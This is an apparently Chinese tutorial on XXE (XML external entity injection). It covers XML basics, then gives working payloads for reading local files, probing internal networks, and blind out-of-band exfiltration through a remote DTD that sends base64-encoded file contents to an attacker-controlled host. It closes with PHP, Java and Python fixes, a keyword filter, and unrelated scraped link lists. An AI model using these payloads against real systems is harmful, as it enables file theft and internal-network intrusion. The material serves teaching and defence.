XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

与html区别:

Xml:被设计为传输和存储数据,其焦点是数据的内容

Html:是为了显示数据,焦点是外观

Html旨在显示信息,xml旨在传输信息。

Xml典型代码:

<!--XML声明-->

<?xml version="1.0"?>

<!--文档类型定义-->

<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->

<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->

<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->

<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->

<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->

<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->

]]]>

<!--文档元素-->

<note>

<to>Dave</to>

<from>Tom</from>

<head>Reminder</head>

<body>You are a good man</body>

</note>

各脚本支持的协议;

存在xxe的情况下:

#玩法-读文件

<?xml version = "1.0"?>

<!DOCTYPE ANY [

<!ENTITY xxe SYSTEM "file:///d://test.txt">

]>

<x>&xxe; &xxe;</x>

//xxe为变量,读取test.txt

//打印出来

用file协议读指定路径的文件

显示结果:

#玩法-内网探针或攻击内网应用(触发漏洞地址)内网探针

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY rabbit SYSTEM "http://192.168.33.130:80/cookie.txt" >

]>

<x>&rabbit;</x>

#引入外部实体dtd,dtd就是xml的后缀,识别为xml格式

如果设置了禁止外部实体引用,将会失效

<?xml version="1.0" ?>

<!DOCTYPE test [

<!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">

%file;

]>

<x>&send;</x>

可以在远程服务器evil2.dtd写上:

<!ENTITY send SYSTEM "file:///d:/test.txt">

#无回显-读取文件

<?xml version="1.0"?>

<!DOCTYPE test [

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=test.txt">

<!ENTITY % dtd SYSTEM "http://192.168.0.103:8081/test.dtd">

%dtd;

%send;

]>

Base64加密是反正传输中乱码,传输失败。

本地192.168.0.103上构造:

test.dtd:

<!ENTITY % payload

"<!ENTITY % send SYSTEM 'http://192.168.0.103:8081/?data=%file;'>"

>

%payload;

开启日志,看日志就可以看到test.txt数据了。

#协议-读文件(绕过)

参考:https://www.cnblogs.com/20175211lyz/p/11413335.html

<?xml version = "1.0"?>

<!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]>

<x>&f;</x>

如何检测:

  1. 数据格式类型

    如果发现有<user>test</user><pass>Mikasa</pass>  类型

  1. 抓包发现  content-type中是  text/xml  或者 application/xml
  2. 盲猜:更改content-type值application/xml看返回

burp上抓包 右键

do an active scan:扫描漏洞

Send to spider:爬行

利用爬行,找到有xml,把xml代码拷贝到post上既可以利用

CTF-Vulnhub-XXE安全真题复现

例子:

扫描IP及端口->扫描探针目录->抓包探针xxe安全->利用xxe读取源码->flag指向文件->base32 64解密->php运行->flag

xxe安全漏洞自动化注射脚本工具-XXEinjector(Ruby)

https://www.cnblogs.com/bmjoker/p/9614990.html
xxe_payload_fuzz

很多靶场镜像的网站:

https://download.vulnhub.com

#xxe漏洞修复与防御方案-php,java,python-过滤及禁用

#方案1-禁用外部实体

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

Python:

from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

#方案2-过滤用户提交的XML数据

过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

涉及资源:

https://github.com/c0ny1/xxe-lab

https://download.vulnhub.com/xxe/XXE.zip   //靶场

https://github.com/enjoiz/XXEinjector

https://www.cnblogs.com/bmjoker/p/9614990.html  //xxe注入工具

https://www.cnblogs.com/20175211lyz/p/11413335.html  //介绍xxe

XXE外部实体注入漏洞的更多相关文章

  1. XXE外部实体注入漏洞总结

    XXE 漏洞原理 XXE是xml外部实体注入漏洞,应用程序解析xml输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取,命令执行,内网端口扫描攻击内网网站等危害. 漏洞危害 ...

  2. XXE外部实体注入漏洞——PHP

    前言 XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击.漏洞是在对非安全的外部实体数据进行处理时引发的安全问题. 在XML1.0标准 ...

  3. 一个用得比较广的微信API的XXE外部实体注入漏洞

    文件地址: https://github.com/dodgepudding/wechat-php-sdk/raw/master/wechat.class.php 代码: <?php /** * ...

  4. Pikachu-XXE(xml外部实体注入漏洞)

    XXE -"xml external entity injection"既"xml外部实体注入漏洞".概括一下就是"攻击者通过向服务器注入指定的xml ...

  5. XXE--XML外部实体注入漏洞

    XXE漏洞原理 XXE漏洞全称XML External Entity Injection 即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部 ...

  6. Xml外部实体注入漏洞

    Xml外部实体注入漏洞(XXE) Xml介绍 XML 不是 HTML 的替代. XML 和 HTML 为不同的目的而设计: XML 被设计为传输和存储数据,其焦点是数据的内容. HTML 被设计用来显 ...

  7. XML外部实体注入漏洞(XXE)

    转自腾讯安全应急响应中心 一.XML基础知识 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声 ...

  8. XXE(xml外部实体注入漏洞)

    实验内容 介绍XXE漏洞的触发方式和利用方法,简单介绍XXE漏洞的修复. 影响版本: libxml2.8.0版本 漏洞介绍 XXE Injection即XML External Entity Inje ...

  9. 【代码审计】CLTPHP_v5.5.3前台XML外部实体注入漏洞分析

    0x01 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chichu/ ...

随机推荐

  1. stat 命令家族(2)- 详解 pidstat

    性能测试必备的 Linux 命令系列,可以看下面链接的文章哦 https://www.cnblogs.com/poloyy/category/1819490.html 介绍 对 Linux 任务的统计 ...

  2. STL函数库的应用第一弹——数据结构(队列)

    队列是什么? 队列是一种特殊的线性表,特殊之处在于它只允许在表的前端进行删除操作,而在表的后端进行插入操作. 和栈一样,队列是一种操作受限制的线性表.进行插入操作的端称为队尾,进行删除操作的端称为队头 ...

  3. VMware Workstation 15 Pro安装带图形化界面的CentOS7

    1.双击打开“VMware Workstation”,然后选择“创建新的虚拟机” 2.在安装向导中,选择“稍后安装操作系统”,然后点击“下一步”继续安装 3.在“客户机操作系统”中选择“Linux(L ...

  4. QT下载速度慢的解决方法

    在官网的下载速度实在太慢了 找到了一个镜像网站 https://mirrors.tuna.tsinghua.edu.cn/qt/archive/qt/

  5. SSM框架整合练习——一个简单的文章管理系统

    使用SSM框架搭建的简易文章管理系统,实现了简单的增删改查功能. @ 目录 开发工具版本: 最终的项目结构 IDEA+Maven搭建项目骨架 1. 新建Maven项目: 2. 在新建的项目中添加所需要 ...

  6. 调试tomcat9.0.19源码

    本文所用到的环境: IntelliJ IDEA Apache Maven 3.3.9 jdk1.8 1. 查看Tomcat版本 $TOMCAT_HOME\bin\version.bat D:\Prog ...

  7. Centos7查看端口占用

    (1)netstat -lnp|grep 50090 如果提示没有netstat命令,可需要安装:yum -y install net-tools (2) lsof -i:50090 参考链接:lin ...

  8. Jenkins(1)—— 部署安装

    最近有聊到接口自动化,持续集成这方面,所以想从持续集成工具Jenkins作为切入点来学习一下 一.jenkins概念 Jenkins是一个开源的.可扩展的持续集成.交付.部署(软件/代码的编译.打包. ...

  9. SPSSAU数据分析思维培养系列3:分析思路

    本文章为SPSSAU数据分析思维培养的第3期文章. 上文讲解如何选择正确的分析方法,除了有正确的分析方法外,还需要把分析方法进行灵活运用.拿到一份数据,应该如何进行分析,总共有几个步骤,第一步第二步应 ...

  10. 牛客网PAT练兵场-A除B

    题目地址:https://www.nowcoder.com/pat/6/problem/4043 题解:遍历大数,边除边输出,最后得到余数输出即可 /** * *作者:Ycute *时间:2019-1 ...